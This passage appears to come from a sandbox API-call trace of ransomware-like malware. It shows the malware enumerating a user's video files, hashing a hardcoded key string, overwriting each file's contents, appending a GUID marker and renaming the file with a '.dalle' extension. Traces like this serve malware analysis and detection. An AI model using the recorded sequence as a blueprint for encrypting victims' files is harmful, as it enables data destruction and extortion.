lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.457] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.457] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.457] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.457] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.457] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.457] CloseHandle (hObject=0x618) returned 1 [0121.458] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f30df8 [0121.458] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0121.458] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f30df8 | out: hHeap=0x5e0000) returned 1 [0121.458] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\8i3DCjvaGbZD0.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\8i3dcjvagbzd0.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\8i3DCjvaGbZD0.mkv.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\8i3dcjvagbzd0.mkv.dalle")) returned 1 [0121.459] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.459] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.460] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee68b0c0, ftCreationTime.dwHighDateTime=0x1d4caa5, ftLastAccessTime.dwLowDateTime=0xc522b990, ftLastAccessTime.dwHighDateTime=0x1d4c816, ftLastWriteTime.dwLowDateTime=0xc522b990, ftLastWriteTime.dwHighDateTime=0x1d4c816, nFileSizeHigh=0x0, nFileSizeLow=0x67ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="91os8u99hZG.avi", cAlternateFileName="91OS8U~1.AVI")) returned 1 [0121.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.460] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0121.460] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.460] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\91os8u99hZG.avi") returned=".avi" [0121.460] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\91os8u99hZG.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\91os8u99hzg.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.462] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=26539) returned 1 [0121.462] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.463] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x6785, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.463] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.465] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.465] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.465] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.465] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x67ab, lpOverlapped=0x0) returned 1 [0121.466] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.466] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.466] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.466] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.466] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.466] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.466] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.466] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.467] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.467] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.467] GetLastError () returned 0x0 [0121.467] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.467] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.467] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.467] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x67b0) returned 0x3096780 [0121.467] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.467] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.467] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x67a6, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x67a6, lpOverlapped=0x0) returned 1 [0121.467] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.467] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x67ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.467] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.467] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.467] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.467] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.467] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.467] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.468] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.468] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.468] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.468] CloseHandle (hObject=0x618) returned 1 [0121.468] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.468] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0121.468] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.469] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\91os8u99hZG.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\91os8u99hzg.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\91os8u99hZG.avi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\91os8u99hzg.avi.dalle")) returned 1 [0121.469] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.469] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.470] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.470] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9626b9b0, ftCreationTime.dwHighDateTime=0x1d4d131, ftLastAccessTime.dwLowDateTime=0x6296f7d0, ftLastAccessTime.dwHighDateTime=0x1d4c57a, ftLastWriteTime.dwLowDateTime=0x6296f7d0, ftLastWriteTime.dwHighDateTime=0x1d4c57a, nFileSizeHigh=0x0, nFileSizeLow=0xc9d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NKvRPhAYf4Ra.swf", cAlternateFileName="NKVRPH~1.SWF")) returned 1 [0121.470] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.470] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0121.470] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.470] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\NKvRPhAYf4Ra.swf") returned=".swf" [0121.470] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\NKvRPhAYf4Ra.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\nkvrphayf4ra.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.470] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=51666) returned 1 [0121.471] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.472] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc9ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.472] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.474] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.474] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.474] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.474] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xc9d2, lpOverlapped=0x0) returned 1 [0121.475] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.475] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.475] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.475] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.476] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.476] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.476] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.476] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.476] GetLastError () returned 0x0 [0121.476] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.476] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc9d0) returned 0x3096780 [0121.476] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.476] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xc9cd, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xc9cd, lpOverlapped=0x0) returned 1 [0121.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.477] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc9d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0121.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.477] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.477] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.477] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.477] CloseHandle (hObject=0x618) returned 1 [0121.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0121.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.478] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\NKvRPhAYf4Ra.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\nkvrphayf4ra.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\NKvRPhAYf4Ra.swf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\nkvrphayf4ra.swf.dalle")) returned 1 [0121.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.479] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.480] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199a9030, ftCreationTime.dwHighDateTime=0x1d4d319, ftLastAccessTime.dwLowDateTime=0x2b7a3a50, ftLastAccessTime.dwHighDateTime=0x1d4c787, ftLastWriteTime.dwLowDateTime=0x2b7a3a50, ftLastWriteTime.dwHighDateTime=0x1d4c787, nFileSizeHigh=0x0, nFileSizeLow=0x1569a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZZI5JtzTKrmNM.avi", cAlternateFileName="ZZI5JT~1.AVI")) returned 1 [0121.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x90) returned 0x2f61740 [0121.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0121.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\ZZI5JtzTKrmNM.avi") returned=".avi" [0121.480] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\ZZI5JtzTKrmNM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\zzi5jtztkrmnm.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.480] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=87706) returned 1 [0121.480] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.482] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.482] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.483] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.483] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.483] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.483] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1569a, lpOverlapped=0x0) returned 1 [0121.484] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.484] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.484] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.484] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.484] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.485] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.485] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.485] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.485] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.485] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.485] GetLastError () returned 0x0 [0121.485] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.485] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.485] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.485] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x156a0) returned 0x3096780 [0121.486] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.486] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.486] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x15695, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x15695, lpOverlapped=0x0) returned 1 [0121.486] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.486] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1569a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.486] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a20 [0121.486] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.486] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.486] CloseHandle (hObject=0x618) returned 1 [0121.488] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\ZZI5JtzTKrmNM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\zzi5jtztkrmnm.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3RmBDGRm1\\ZZI5JtzTKrmNM.avi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3rmbdgrm1\\zzi5jtztkrmnm.avi.dalle")) returned 1 [0121.488] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.488] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.489] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0121.489] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199a9030, ftCreationTime.dwHighDateTime=0x1d4d319, ftLastAccessTime.dwLowDateTime=0x2b7a3a50, ftLastAccessTime.dwHighDateTime=0x1d4c787, ftLastWriteTime.dwLowDateTime=0x2b7a3a50, ftLastWriteTime.dwHighDateTime=0x1d4c787, nFileSizeHigh=0x0, nFileSizeLow=0x1569a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZZI5JtzTKrmNM.avi", cAlternateFileName="ZZI5JT~1.AVI")) returned 0 [0121.489] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.489] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.489] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.489] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.489] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\C1rxOBMk76mToWuy0Nfm\\") returned="C1rxOBMk76mToWuy0Nfm\\" [0121.490] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS 